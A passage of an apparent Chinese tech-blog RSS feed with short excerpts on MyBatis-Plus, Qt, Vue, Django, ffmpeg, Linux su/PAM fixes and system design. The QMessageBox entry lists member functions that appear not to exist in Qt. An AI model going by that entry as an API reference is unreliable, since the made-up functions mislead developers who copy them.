      <description>前言：在我们向数据库插入一条数据的时候，少不了一些向createTime、updateTime此类字段，每次插入的数据都要设置这些个值，很烦，通过实现MetaObjectHandler接口重写insertFill、updateFill方法可以帮你摆脱烦恼&#xA;本文概括 MetaObjectHandler介绍1：编写MetaObjectHandler 实现类2：实体类上边加上@TableField(fill = FieldFill.INSERT_UPDATE)注意点小节代码链接小咸鱼的技术窝 MetaObjectHandler介绍 MetaObjectHandler接口是mybatisPlus为我们提供的的一个扩展接口，我们可以利用这个接口在我们插入或者更新数据的时候，为一些字段指定默认值。实现这个需求的方法不止一种，在sql层面也可以做到，在建表的时候也可以指定默认值。&#xA;1：编写MetaObjectHandler 实现类 编写类实现MetaObjectHandler接口，重写里面的方法就是了。&#xA;/** * @author 张子行 * @class mybatisPlus属性自动填充，对应的实体类字段上需要加@TableField(fill = FieldFill.INSERT_UPDATE) */ @Configuration @Slf4j public class autoFillConfig implements MetaObjectHandler { /** * @param * @method 插入时自动填充 */ @Override public void insertFill(MetaObject metaObject) { log.info(&#34;插入时自动填充&#34;); this.setFieldValByName(&#34;stock&#34;, 1, metaObject); } /** * @param * @method 更新时自动填充 */ @Override public void updateFill(MetaObject metaObject) { log.info(&#34;更新时自动填充&#34;); this.setFieldValByName(&#34;stock&#34;, -9090, metaObject); } } 2：实体类上边加上@TableField(fill = FieldFill.INSERT_UPDATE) 指定进行属性填充的时机（更新、插入、或者更新和插入）</description>
    </item>
    <item>
      <title>[转]实现透明Panel控件</title>
      <link>https://bchobby.github.io/posts/ff1e65d4f3ae4e62788c1693bc13c0b4/</link>
      <pubDate>Fri, 15 Dec 2023 15:04:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff1e65d4f3ae4e62788c1693bc13c0b4/</guid>
      <description>原文：实现透明Panel及控件置顶的方法&#xA;我只是简单转换为VB以及对一些参数的微软出处作了补充（搜索了一下，发现这篇是最简洁、明了、可行的），有了这个重写的Panel，以后在进行自动操作中为了防止用户点击鼠标时，再也不用麻烦了。&#xA;------------------------------------------------------------------------------------------------------&#xA;想放置一个透明Panel在某控件上端，实现效果是可透过此Panel看见下面控件，但鼠标点击却无任何反应。&#xA;1、新建置自定义Panel类&#xA;Imports System Imports System.Collections.Generic Imports System.Linq Imports System.Text Imports System.Windows.Forms Imports System.Drawing Namespace NavDataManager Public Class MyTransparentPanel Inherits Panel Public Sub New() Me.SetStyle(ControlStyles.SupportsTransparentBackColor Xor ControlStyles.Opaque, True) Me.BackColor = Color.Transparent End Sub Private Const WS_EX_TRANSPARENT = &amp;amp;H20 Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = WS_EX_TRANSPARENT Return cp End Get End Property End Class End Namespace &#39;将控件添加到你需要放置的某控件上，并通过BringToFront与SendToBack来控制是否响应鼠标。 Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.</description>
    </item>
    <item>
      <title>QT之QMessageBox的用法</title>
      <link>https://bchobby.github.io/posts/00750b1234abf675a7eb02d1869d4774/</link>
      <pubDate>Fri, 15 Dec 2023 14:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00750b1234abf675a7eb02d1869d4774/</guid>
      <description>QT之QMessageBox的用法 成员函数用法举例 成员函数 QMessageBox是Qt框架提供的一个用于显示消息对话框的类。它提供了多种成员函数，可以用于设置对话框的内容、按钮和样式等。下面将详细介绍一些常用的QMessageBox成员函数：&#xA;1）setText(const QString &amp;amp;text)：设置消息文本，参数text是要显示的文本内容。&#xA;2）setWindowTitle(const QString &amp;amp;title)：设置对话框的标题，参数title是要显示的标题文本。&#xA;3）setIcon(QMessageBox::Icon icon)：设置对话框的图标，参数icon是图标类型，可以是1）1）QMessageBox::Information、QMessageBox::Warning、QMessageBox::Critical等常量之一。&#xA;4）setStandardButtons(QMessageBox::StandardButtons buttons)：设置对话框的标准按钮，参数buttons是按钮类型，可以是QMessageBox::Ok、QMessageBox::Cancel、QMessageBox::Yes、QMessageBox::No等常量之一或它们的组合。&#xA;5）exec()：显示消息框，并等待用户做出选择。返回值是用户选择的按钮值，可以用于判断用户选择了哪个按钮。&#xA;6）showMessageDialog(QWidget *parent, QMessageBox::Icon icon, const QString &amp;amp;title, const QString &amp;amp;text, QMessageBox::StandardButtons buttons = QMessageBox::NoButton, 1）QMessageBox::StandardButton defaultButton = QMessageBox::NoButton)：显示一个简单的消息对话框，参数parent是对话框的父窗口，icon是图标类型，title是标题文本，text是消息文本，buttons是标准按钮类型，defaultButton是默认按钮类型。&#xA;7）addButton(const QString &amp;amp;text, QMessageBox::ButtonRole role)：添加一个自定义按钮到消息框中，参数text是按钮显示的文本，role是按钮的角色，可以是QMessageBox::ActionRole、QMessageBox::YesRole、QMessageBox::NoRole等常量之一。&#xA;8）addStandardButton(QMessageBox::StandardButton button)：添加一个标准按钮到消息框中，参数button是按钮类型，可以是QMessageBox::Ok、QMessageBox::Cancel、QMessageBox::Yes、QMessageBox::No等常量之一。&#xA;9）setLayout(QLayout *layout)：设置消息框的布局，参数layout是一个布局对象，可以使用布局管理器来创建自定义的布局。&#xA;10）setStyleSheet(const QString &amp;amp;styleSheet)：设置消息框的样式表，参数styleSheet是样式表字符串，可以使用CSS语法来设置对话框的样式。&#xA;用法举例 1）添加按钮：&#xA;msgBox.setStandardButtons(QMessageBox::Ok | QMessageBox::Cancel);&#xA;这里使用了按位或操作符来组合标准按钮。可以使用以下常量之一或它们的组合：&#xA;QMessageBox::Ok：确定按钮&#xA;QMessageBox::Cancel：取消按钮&#xA;QMessageBox::Yes：是按钮&#xA;QMessageBox::No：否按钮&#xA;QMessageBox::Abort：中止按钮&#xA;QMessageBox::Retry：重试按钮&#xA;QMessageBox::Ignore：忽略按钮&#xA;if (result == QMessageBox::Ok) {&#xA;// 用户选择了确定按钮，执行相应的操作&#xA;} else if (result == QMessageBox::Cancel) {</description>
    </item>
    <item>
      <title>普通用户无法su到root用户的解决方法</title>
      <link>https://bchobby.github.io/posts/4a57fa7917111623f21764bd51abfecc/</link>
      <pubDate>Fri, 15 Dec 2023 14:04:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a57fa7917111623f21764bd51abfecc/</guid>
      <description>今日在使用普通用户登录后切换root账号遇到问题，在切换root账号时输入正确的密码但提示无权限：&#xA;[4a@hljydywfzcsxt1-5 ~]$ su - root&#xA;Password:&#xA;su: Permission denied&#xA;经过测试使用正确的密码可以直接登录root账号，这说明我们的密码没有问题。问题应该出在这个普通账号的设置上。&#xA;在网上查询各种资料后发现这与这台主机做了安全设置有关系。&#xA;问题在于设置PAM模块，PAM（Pluggable Authentication Modules）负责系统中很多应用程序的登录认证，包括sshd、vsftpd、su等。例如ssh登录认证配置文件是/etc/pam.d/sshd用户可根据需要配置相应的认证规则。你也可以为自己的其他应用配置PAM认证。&#xA;查看/etc/pam.d/su文件，我们可以发下有这么一行&#xA;auth sufficient pam_wheel.so trust use_uid&#xA;这就是控制普通用户是否可以进行su操作的选项。&#xA;解决方法有2种：&#xA;1、登录root账号，输入usermod -G wheel 用户名&#xA;将无法su的普通用户加入到wheel组&#xA;2、将auth sufficient pam_wheel.so trust use_uid 这一行注释掉。&#xA;例如#auth required pam_wheel.so use_uid</description>
    </item>
    <item>
      <title>微信小程序识别小程序码并传参</title>
      <link>https://bchobby.github.io/posts/021d168209972e16e08cb14ca4a5fdb6/</link>
      <pubDate>Fri, 15 Dec 2023 13:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/021d168209972e16e08cb14ca4a5fdb6/</guid>
      <description> 一、场景 连续看到几个类似关于小程序生成二维码场景的问题，分销的场景和单商品购买的页面居多&#xA;二、思路 步骤 1 步骤 2 步骤3 步骤4 后端生成小程序码 前端通过接口获取到小程序码 前端展示小程序码 扫码识别进入页面 结束 服务端获取小程序码的文档相关链接 三、注意事项 后端添加的参数我们可以在onLoad中接收scene，记得使用decodeURIComponent解析&#xA;Page({ onLoad (query) { // scene 需要使用 decodeURIComponent 才能获取到生成二维码时传入的 scene const scene = decodeURIComponent(query.scene) } }) </description>
    </item>
    <item>
      <title>pako是什么以及它的的使用</title>
      <link>https://bchobby.github.io/posts/096c72cf6b2b7b2e1a1050eb60cf44c0/</link>
      <pubDate>Fri, 15 Dec 2023 12:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/096c72cf6b2b7b2e1a1050eb60cf44c0/</guid>
      <description> 文章目录 pako的作用使用 pako的作用 ws推送的gzip压缩能减少大量的传输数据，减少传输数据消耗，但是需要在收到数据之后解压。&#xA;解压就可以用到pako了&#xA;使用 npm install pako function (msg) { let reader = new FileReader() reader.readAsBinaryString(msg) // blob reader.onload = function () { result = JSON.parse(pako.inflate(reader.result, { to: &#39;string&#39; })) // 打印出返回的数据 console.log(result) } } </description>
    </item>
    <item>
      <title>Vue3报错： ‘defineProps‘ is not defined，解决方法</title>
      <link>https://bchobby.github.io/posts/79a08c0df39fa4765d9c5612aa541afb/</link>
      <pubDate>Fri, 15 Dec 2023 11:17:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79a08c0df39fa4765d9c5612aa541afb/</guid>
      <description>问题出现: 今天在使用 &amp;lt;script setup&amp;gt;组合式 API 的语法糖的时候，定义defineProps时候报错：&#xA;‘defineProps’ is not defined&#xA;查了一下资料，这是因为eslint的语法校验导致的问题。&#xA;解决方法1： 在项目根目录的文件.eslintrc.js中做如下配置：&#xA;添加配置：&#34;vue/setup-compiler-macros&#34;: true，配置完之后需要重启项目，即可解决。&#xA;解决方法2： 如果你的项目根目录下没有.eslintrc.js文件，那就找到package.json文件&#xA;找到eslintConfig配置项，在这里配置规则：&#34;vue/setup-compiler-macros&#34;: true，</description>
    </item>
    <item>
      <title>弹性架构：容错系统策略</title>
      <link>https://bchobby.github.io/posts/0fc4f46833ffc3571467d6ad8752dc4f/</link>
      <pubDate>Fri, 15 Dec 2023 10:54:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fc4f46833ffc3571467d6ad8752dc4f/</guid>
      <description>如今软件无处不在 - 从我们的手机到汽车和电器。这意味着软件系统的可靠性、健壮性和弹性非常重要。 弹性系统可以承受故障或错误而不会完全崩溃。容错能力是弹性的关键部分。即使出现问题，它也能让系统保持正常工作。&#xA;在本文中，我们将了解为什么弹性和容错能力对业务很重要。我们还将讨论构建容错系统的核心原则和策略。这包括冗余、故障转移、复制和隔离等内容。此外，我们将研究不同的测试方法如何识别潜在问题并提高弹性。最后，我们将讨论弹性系统设计的未来。云计算、容器和无服务器平台等新兴趋势正在改变弹性系统的构建方式。&#xA;韧性的重要性 系统故障可能会损害业务和技术运营。从业务角度来看，中断会导致收入损失、声誉受损、客户不满意以及竞争优势丧失。例如，2021 年，Reddit、Spotify 和 AWS 等主要在线服务宕机了几个小时。这次中断造成了数百万美元的损失，也让用户感到沮丧。同样，2021 年的一次维护错误导致 Facebook 及其服务在全球范围内中断约六个小时。数十亿用户和广告商受到影响。&#xA;在技术方面，系统故障可能会导致数据丢失或损坏、安全漏洞、性能问题和复杂性。例如，2020 年 Garmin 遭受勒索软件攻击，扰乱了其在线服务和健身追踪器。最近，即 2023 年，人为因素导致澳大利亚的 Microsoft Azure 服务器出现严重中断。&#xA;因此，构建弹性和容错系统至关重要。这样做可以防止或最大程度地减少系统故障对业务和技术运营的影响。&#xA;了解容错系统 即使出现问题，容错系统也能保持正常工作。故障是导致系统行为与预期不同的任何问题。故障可能是由硬件故障、软件错误、人为错误或断电等环境因素引起的。&#xA;在具有大量服务和子服务、数百台服务器并分布在不同数据中心的复杂系统中，小问题总是会发生。这些问题一定不能影响用户体验。&#xA;构建容错能力的三个主要原则：&#xA;冗余- 出现故障时可以接管的额外组件。故障转移 - 当检测到故障时自动切换到备份组件。复制 - 创建服务器或数据库等组件的多个相同实例。 消除单点故障至关重要。系统的设计必须确保没有任何单个组件对运行至关重要。如果该组件发生故障，系统可以通过冗余和故障转移继续工作。&#xA;这些原则使得容错系统能够检测故障、解决故障并在故障发生时进行恢复。这增加了整体弹性。通过避免过度依赖任何一个组件，可以提高整个系统的可靠性。&#xA;构建弹性系统的策略 在本节中，我们将讨论容错系统的三个原则中的每一个，并提供有效使用它们的系统示例。&#xA;冗余 冗余涉及拥有备用或替代组件，以便在出现故障时可以接管。它可以应用于硬件、软件、数据或网络。优点包括提高可用性、可靠性和性能。冗余消除了单点故障并实现了负载平衡和并行处理。&#xA;示例：负载平衡的 Web 应用程序&#xA;该 Web 应用程序在 3 个区域的 20 台服务器上运行&#xA;全局负载均衡器监控每台服务器的健康状况&#xA;如果美国东部的 2 个服务器发生故障，平衡器会将流量路由到美国西部和欧洲的其余服务器&#xA;避免单一区域故障可提供连续的正常运行时间&#xA;故障转移 故障转移机制检测故障并自动切换到备份。这可以保持连续性、一致性和数据完整性。故障转移允许在发生故障后顺利恢复操作。&#xA;示例：无服务器视频编码&#xA;媒体编码功能在 AWS Lambda 等无服务器平台上运行&#xA;平台跨多个可用区 (AZ) 自动扩展实例&#xA;可用区故障会禁用这些功能实例&#xA;其他实例在剩余可用区中启动以处理负载&#xA;故障转移提供弹性编码能力&#xA;复制 复制涉及在多个位置维护数据或软件等资源的相同副本。它提高了可用性、耐用性、性能、安全性和隐私性。</description>
    </item>
    <item>
      <title>前端播放大视频卡顿的解决（m3u8视频流）</title>
      <link>https://bchobby.github.io/posts/287afbe95825597e172e14475d84b27f/</link>
      <pubDate>Fri, 15 Dec 2023 10:19:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/287afbe95825597e172e14475d84b27f/</guid>
      <description>前言 最近在一个大屏看板项目中有一个需求是：要求视频和看板要进行来回切换。&#xA;最开始的做法是将MP4视频放在项目里，在本地运行时是没什么问题的，但是在往仓库里提交代码时出现了问题。当单个文件超过100MB时会导致代码提交失败；&#xA;后来的解决方案是将视频文件放到服务器上，项目里直接加载视频在服务器上的地址。但是这样也存在一个问题，就是视频加载会卡顿。video标签是边加载边播放，这样造成了视频播放几秒后会加载视频导致视频卡住，影响实际效果。&#xA;查询到的解决方案是将mp4视频转换成m3u8视频流的格式进行播放，因此打算尝试一下。下面会分别介绍：&#xA;1、将mp4视频转换为m3u8视频流&#xA;2、前端如何播放m3u8视频&#xA;将mp4视频转换为m3u8视频流 m3u8格式 m3u8是苹果公司推出的视频播放标准，是m3u的一种，只是编码格式采用的是UTF-8。M3U文件是一个记录索引的纯文本文件，打开它时播放软件并不是播放它，而是根据它的索引找到对应的音视频文件的网络地址进行在线播放。&#xA;方法/步骤 主流的方式是通过 m3u8格式视频转码工具 FFmpeg 来实现的&#xA;下载&#xA;从网上找了个百度云下载地址：https://pan.baidu.com/s/1dCK-TrOcUfC6pdKi2Y1e6g&#xA;提取码：2pdo&#xA;下载完解压后可以在bin文件嘉下看到三个可执行文件，配置好相应的环境变量后即可使用&#xA;环境变量配置&#xA;在cdm终端里输入：ffmpeg -version，如下图表示安装成功。&#xA;常用命令&#xA;ffmpeg 常用命令 分割视频&#xA;在视频所在的文件夹下打开cmd终端，输入：&#xA;ffmpeg -i video1.mp4 -profile:v baseline -level 3.0 -start_number 0 -hls_time 1 -hls_list_size 0 -f hls demo.m3u8 -i 指定输入的文件名&#xA;-profile:v baseline 大概意思是档次转成基本画质，有四种画质级别,分别是baseline, extended, main, high，从低到高&#xA;-level 3.0 大概也是视频画质级别吧，基本上是从1到5,&#xA;-start_number 0 表示从0开始&#xA;-hls_time 1 标识每1秒切一个&#xA;-f hls 将视频转为hls格式&#xA;-hls_list_size 0 ，设置播放列表保存的最多条目，设置为 0 会保存有所片信息，默认值为5。&#xA;其他的命令不清楚，需要什么功能，基本都可以百度到</description>
    </item>
    <item>
      <title>Django 表单处理：从前端到后台的全流程指南</title>
      <link>https://bchobby.github.io/posts/3367e27bf88408f7f956328d0cc0fcea/</link>
      <pubDate>Fri, 15 Dec 2023 09:59:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3367e27bf88408f7f956328d0cc0fcea/</guid>
      <description>概要 Django作为一个高级Python Web框架，它的表单处理能力强大，可以有效地处理用户输入，进行数据验证以及错误处理。本文将详细介绍如何在Django中创建、处理和使用表单。&#xA;1. Django表单系统的核心 Django的表单系统处理表单的生命周期，涉及以下核心部分：&#xA;表单类：定义表单的结构和行为。&#xA;验证逻辑：确保提交的数据满足特定条件。&#xA;模板：展示表单的HTML表述。&#xA;视图：处理表单的提交过程，包括数据的验证和处理。&#xA;2. 创建表单类 Django的forms模块提供了一个灵活的表单类，你可以定义自己的表单类来表示一个HTML表单。&#xA;from django import forms class ContactForm(forms.Form): name = forms.CharField(max_length=100) email = forms.EmailField() message = forms.CharField(widget=forms.Textarea) 3. 在视图中处理表单 在Django视图中，你需要处理GET和POST请求。GET请求通常用于展示空表单，而POST请求处理表单提交的数据。&#xA;from django.shortcuts import render from .forms import ContactForm def contact_view(request): if request.method == &#39;POST&#39;: form = ContactForm(request.POST) if form.is_valid(): # 处理表单数据 return redirect(&#39;success_url&#39;) else: form = ContactForm() return render(request, &#39;contact.html&#39;, {&#39;form&#39;: form}) 4. 表单的验证 Django提供了一个强大的表单验证系统。在调用is_valid()方法时，Django会进行数据清洗并运行所有的验证器。&#xA;if form.is_valid(): # 这里的cleaned_data是验证后的数据 name = form.</description>
    </item>
    <item>
      <title>Linux 服务器查看每个用户或者当前用户的磁盘占用量及文件同步</title>
      <link>https://bchobby.github.io/posts/6e25381db0599d4113828ec3e107d08b/</link>
      <pubDate>Fri, 15 Dec 2023 09:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e25381db0599d4113828ec3e107d08b/</guid>
      <description>1、查看每个用户的磁盘占用量 #参考du -sh 目录 sudo du -sh /home/* 1、两台服务器文件夹同步 rsync -avz -e &#34;ssh -p 端口号&#34; /home/cb215/ 用户名@ip地址:/home/dell/16000_port/yf215/ 参考文献 [1]ubuntu查看每个用户或者当前用户的磁盘占用量及磁盘空间清理</description>
    </item>
    <item>
      <title>canvas粒子动画</title>
      <link>https://bchobby.github.io/posts/46f89294bd7dcd8e7828b8197219aed9/</link>
      <pubDate>Fri, 15 Dec 2023 09:06:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46f89294bd7dcd8e7828b8197219aed9/</guid>
      <description>落地后反弹：&#xA;引用：&#xA;http://www.gaohaiyan.com/3669.html</description>
    </item>
    <item>
      <title>没做开发的日子都在干什么？</title>
      <link>https://bchobby.github.io/posts/e53ed9437b04e9af17b31023f8557a08/</link>
      <pubDate>Fri, 15 Dec 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e53ed9437b04e9af17b31023f8557a08/</guid>
      <description>事件起始 今年公司做出了两轮的人员调整，分别是4月和10月，每次的调整的原因都是一样的，由于公司的业务没有利润，所以上层做出了相关的人员调整，然后就是留下的员工就会被叫到一间办公室里面开会，说一下我们接下来要做的事情，然后要让我们充满信心，只要我们盈利，大家的努力都会在薪资上有一个提现。&#xA;而我就是天选之子，我“幸运”的被留了下，离职的同事理所应当的拿到了离职赔偿，第一轮的人员调整，在这里也就落下帷幕，留下的同事还有一起继续奋斗，这时虽然人少了，但是业务还在，所有我将我负责的小程序部分后续的功能陆续完善，当功能完善了，这个项目就已经结束了，小程序就没有被投入到生产的环境中去使用，就这样闲置了。&#xA;旅游项目 后来公司谈下了一个旅游的项目是做出国游的，当时想着疫情结束的第一年，然后天气也正当时，所以感觉这个项目应该很容易就会成功，而且这个项目是和一个知名的旅游企业合作的，因为有自己的直播团队，所以直播团队很快的就落地了方案，开启了旅游的直播。&#xA;我们也针对旅游的直播去做相关的活动策划，再把以前的小程序拿过来增加了分销活动的入口，因为想着旅游如果你能邀请新人给你返现，后续设计了围绕这个活动又设计很多，包括海报页，但是当一切都设计好了以后，又这样被闲置了起来，直播团队也还在直播，但是基于我们开发的东西又石沉大海，好像又做了一堆没用的功能。&#xA;内部系统及问题 在开发旅游项目活动的时候，突然来了一个公司内部的项目，是个迭代系统，主要功能就是：让公司的员工，将工作分为事项，然后将每周的工作进度和工作任务填写到里面，方便领导查看，也可以让其他员工看到你在进行的事项，也做“自我监督”，犹豫人员调整的影响公司并没有了产品经理，所有我和开发的同事，一起根据领导的需求，来落地这件事情，画原型（此处省略1w字…），然后再一次次沟通了N遍后，终于有了产品雏形，然后让ui设计出来，接下来我们进行了无休止的加班时刻。&#xA;大概1周多整个基础版的功能就出来了，在这里我尝试使用了taro去写的H5，功能简单，所以想做一些新的尝试，用了react，这里面遇到了很多的问题：&#xA;如taro本身的轮播图在H5企微环境下，进入页面直接跳入第二张图片；后来使用了Taro UI的轮播图，解决了这个问题在ios，企业微信浏览器下，跳转页面回退后，会闪一下当前的页面（至今仍未解决，在github提了leusse，给的原因是：应当是动画导致的，可以关闭跳过该问题）还有react本身的问题，而且是一些基础的问题，useSate 是异步更新的，在接口获取的时候老是set完后拿不到值，要不使用useEffect，要不就是单独使用useRef进行定义 因为是基于企业微信，所以我们上线后在内部先做测试，测试完后，我们迅速得到了反馈：&#xA;然后我们再次梳理流程，修改里面的功能，几乎是重构了现有的，在代码了的层面上做了一个大的迭代，下图就是功能了，主要是记录，像个记事本一样，依托于企微：&#xA;功能完成后，进行在公司投放使用了，过了一段时间，也没有人再在这个上面去迭代自己的事项了，这个内部的项目也算是结束了，但是在这个项目里因为使用了自己以前没有接触过的技术，所以对自己来说是收获满满的一个项目。&#xA;尝试AI 公司不会因为一个项目的失利或者不行就会放弃，这个时候公司关注到了AI大模型，我们也有自己的核心项目SCRM的项目，所以公司当时想着要用大模型助力我们的项目，我们开始去看大模型相关的知识，langchain，chatglm-6b，chantgpt，想着训练一个自己的模型出来，发现难度很大，就又找了公司合作，基于人家的星火大模型，让合作的攻速去训练一个本地知识库，期间我们只需要写一个聊天室的功能接入API就行，然后他基于你给的文档回复相关的问题，然后就需要慢慢训练就好了，当时持续了一段时间，这个训练的计划就不告而终了，可能是不满意训练的效果，也可能有其他的问题，这就不得而知了，在这期间也是大概了解了gpt的工作原理，对自己也算是一个小小的进步吧。&#xA;海外产品 公司谈下的另一个项目也落地了，是个海外保健品的项目，货已经到公司了，然后公司召集同事开了一个内购会，会间介绍了这个里面的产品，当时感觉这个产品就感觉很高端，虽然是白牌、单价还很高、但是名字听起来就很高端，产品定了，后续的开发也就要陆陆续续的进来了。&#xA;果然没长时间，我接到了SCRM管理SOP模块的需求，这个需求业务逻辑很多，大概有两个多星期才写完，然后又写了个分销的小程序页面，因为跨境保健品的特殊需求，所以我们借助有赞才有资质进行售卖，在这期间还有很多其他的事情，如有赞页面的搭建、商品的上下架、活动的创建，对应的官网页面也在开发，这个时候公司开始决定招人，于是我的工作项开始了招人，开始面试，面试的人很多，也有合适的，但是不知道为什么没有入职的同学。&#xA;过了一段时间我的SOP开发完成了，我的分销小程序也开发完成了，后续就是微信小程序就要备案，备案的时间很长，大概在两周多的时间，期间内准备了很多的材料，就在感觉以前都会按照现在的工作计划进行的时候，肯定因为具体在线上推广的难度比较大，一直没有用户进来，没有用户基础，也没有找到解决的办法，所以导致我们的系统起不到什么作用，我们的项目需要有用户基础的。&#xA;虽然没有用户基础，但是开发的功能也一直在推进，也做着一些感觉有用的功能，就往系统里面加，直到10月中旬，我们迎来了第二次的人事调整，还是在4月听过的一些话，又重复的说了一遍。&#xA;再次调整 那我再次被通知留了下来，那后续的工作是关于直播数据分析相关的工作和代码再无瓜葛，也不是完全不写，就是可能代码会辅助现在所做的工作，上班三件套从 vscode、微信开发者工具、chrome 变成了 wps、微信、chrome，这次的工作变动也是感触颇深，虽然目前的工作没有写代码，但是也不会一下子就全忘了，但是要温故而知新，所以也会每天看看小程序的公告看看有什么新的更改，也会看一些nest和vue3相关的知识。&#xA;直播运营 新的工作内容朋友们也可以理解为直播运营，为直播团队提供数据支持。&#xA;相关的文章也是收藏了很多，如果有想尝试直播的可以去抖音电商学习中心看看。&#xA;从零开始学习直播是很快的，而且抖音的文档中也有很多的文档支持，但是也有很多假大空的内容，就是那种道理你都懂，但是执行起来却很难，不知道是不是因为学的太浅的原因，感觉如果一个直播间的成功不仅仅是靠投流、或运营支持，主播的发挥、可能还有一部分运气的存在。&#xA;这是梳理的直播间的搭建，大概就是按照这个框架去走的，直播间的流程设计方向，这期间也写了很多如何落地的方案，分析了很多直播的话术、和直播间的场景、以及投放计划的方案。&#xA;在挖掘数据中，用到了很多的第三方的网站：&#xA;有米有数 数据全，价格高考古加 数据一般，价格便宜蝉妈妈 数据全，价格高达多多 数据一般，价格便宜巨量算数 官方产品，数据挖掘巨量创意 官方产品，数据挖掘巨量千川 官方产品，抖音投放抖音罗盘 官方产品，直播数据 在这期间认识到不同投放针对的不同场景：&#xA;抖+ 针对单个视频热度进行加热小店随心推是简易版的千川投放，针对的是没有做过投放，我没有专业投放人员的商家巨量千川 专业的投放平台、可以投直播间画面、短视频广告巨量广告 可以投游戏广告、开屏、应用推广、cid（点击跳转到其他的app） 经过了团队大约两个星期的讨论，终于形成了一个完整的方案，接下来我们调试了直播设备，然后开播了，第一天带货有了成交，大家都很开心，感觉开门红，然后投放那边流量跑的也还不错，自然流量进来的也不少，但是第二天效果就不太好了，可能是因为在直播期间调整了直播间的一些元素，影响了直播间的进人，然后我们迅速开会讨论，因为在讨论直播方案期间，我们一直有一个竞品直播间，他们卖的很好，后来了解到他们每天的投放的金额是很多的，所以和人家不在一个量级上。&#xA;然后就这样播了三天，然后就停掉了，可能就是为了测试一下能不能行，可惜的是我们并没有在坚持一个小周期，这样就可以看到为什么会这样，也有可能因为其他的专业的直播团队以前播过同样的品，效果不好，而我们只是再试试看看我们这些对直播没有一点了解的，能不能出现奇效，不过很快就被现实的状况打败了，现在回想起来好像直播真不是什么人都能播的，面对寥寥无几的观众播6，7个小时也挺累的。&#xA;!](https://img-blog.csdnimg.cn/direct/69fedea807b74deaa14c8baa15b8d9a1.png)&#xA;在线问诊 直播终止掉后（只是我们不播了，交给人家专业的团队播了），新的合作项目也谈的差不多了，随之而来的是需要开发新的功能去兼容人家的系统，所以准备告别的同事也暂时的留了下来，他们签了一个三个月期限的协议，而我也从前端做成了运营（打杂）。&#xA;这是一个在线问诊的医疗项目，这个项目和人家有很大的合作机会，因为合作的公司在线的用户很多（其实真实到底有多少也不清楚，只是ppt上写的很多，经过我对他们app的分析是和他们提供的数据有差距的），但是没有办法进入私域，而我们有一套私域系统，但是没有用户进来，但是我们要做的工作，还是主要是运营方案的设计，因为要有一套完整的运营方案出来，然后才能将用户引入到私域中，然后我们的系统才可以对接。&#xA;然后我们就不停的开会，讨论，做竞品分析，知道现在还在做一些流程分析：&#xA;用户如何加入？加入后怎么转化？发什么样的欢迎语？推荐的产品是什么？&#xA;…&#xA;这些问题都是需要解决的问题，落地这件事情真的很难，因为每个人的奇思妙想，都会导致项目落地困难，而且说到底我们不是一个真正的运营师，我们没有运营成功项目的经验，我们大部分的思考都是基于用户和开发者的心态去思考，所以很有可能会在设计方案的根上就出现了问题，所以到时项目推进缓慢，目前还好的是这个项目正在积极的推进，不过谁也不知道结果。 总结 &amp;amp;emsp今年一年，从一个前端开发慢慢的做了一些运营的工作，其实在接触到的那一刻是很反感的，因为要写文档，要沟通，而且天马行空的想法层出不穷，无休无止的会，但是没办法，今年互联网不景气，那只能接受一下自己不想接受的事情，谁让自己是个打工人呢，不过经历过回想起来其实也感觉最起码对很多东西有了一个简单的认知，可能以后得某一天会用的上，作为一个学历不是很高的人，在开发的行业上能走多远真的不清楚，所以有机会接受一些新的知识，我内心其实是不抵触的，毕竟也得为自己以后打算一下，万一以后用上这点特殊的工作经历呢，那技术方面肯定也不能拉下，没事的时候就多看看，多写写代码。&#xA;只是作为一个员工，心里是很不爽的，就会想为什么要把别人的工作交给自己呢？其实我也不知道公司是怎么想的，反正就是一直在招相关的人，但是招了一年也没招到，只好让我们这些开发人员顶上，不过这也不是我该关心的事情，毕竟公司不是我的，负责好自己的事情就可以了，在自己力所能及的范围内接受。&#xA;此篇对今年的工作做个简单的记录，整体分析，代码写了不少，一个没用上，学到了一些奇奇怪怪的知识。&#xA;新的一年马上到了，希望可以心想事成，平安顺遂，还能赚个小钱~</description>
    </item>
    <item>
      <title>面试中遇到的设计题</title>
      <link>https://bchobby.github.io/posts/f81de3bd26556191b6beffb0991bc311/</link>
      <pubDate>Fri, 15 Dec 2023 00:22:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f81de3bd26556191b6beffb0991bc311/</guid>
      <description>1. 如何设计秒杀系统 前端：&#xA;a. 一些防刷单校验，拉长整个交易流程，起到一个削峰作用&#xA;b. 静态资源多CDN部署&#xA;c. 前端缓存，有些页面的切换，不需要调用后端接口&#xA;后端：&#xA;接口性能优化：使用缓存，异步，多线程，功能降级等手段&#xA;还有些高并发时保证系统稳定性的手段：扩容， 升配，限流，降级&#xA;还有是想做系统隔离/数据隔离的方案 这种成本很高。&#xA;2. 红包系统怎么设计 1. 模型设计&#xA;红包池表，红包账户表，红包池表&#xA;2. 怎么支持高并发?&#xA;高并发需要考虑这个并发是有多高？拿redis可支撑的写入速度作为分界线，8万/秒。&#xA;如果并发低于这个值？这个场景较好处理，使用redis作为主要的存储介质，需要使用lua脚本完成红包金额生成，红包扣减等动作。&#xA;如果高于这个值？可以考虑下吗几种方案？&#xA;一是. 使用消息队列，异步的方式，处理抢红包的请求，起到一个削峰的作用。配合的玩法，用户抢到红包后，需要一定的时间后才能打开红包。&#xA;二是. 将一个大红包均分成多个副本，每个副本分布在不同的redis节点上。再有一个前置的负载均衡器，可以将请求均匀的打在不同的节点上。解决单点瓶颈。&#xA;最后，为了保证系统的稳定，一定要做限流。预期外的流量，不要接受。&#xA;3. 怎么做一个唯一id的生成器 雪花算法&#xA;41位的时间戳 + 